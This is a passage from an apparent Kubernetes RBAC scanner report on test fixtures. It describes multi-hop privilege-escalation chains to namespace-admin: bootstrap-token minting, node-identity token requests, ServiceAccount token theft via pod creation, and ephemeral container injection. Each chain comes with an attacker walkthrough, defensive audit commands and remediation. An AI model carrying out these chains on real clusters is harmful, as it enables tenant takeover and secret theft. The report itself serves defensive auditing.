  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Namespace 6.5
ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
4. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-secret-mint (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-secret-mint (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Namespace 6.5
ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
4. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-secret-mint (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-secret-mint (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 6.2
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `cutres` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: Namespace/cutres/cutres

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
4. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 6.2
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
4. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

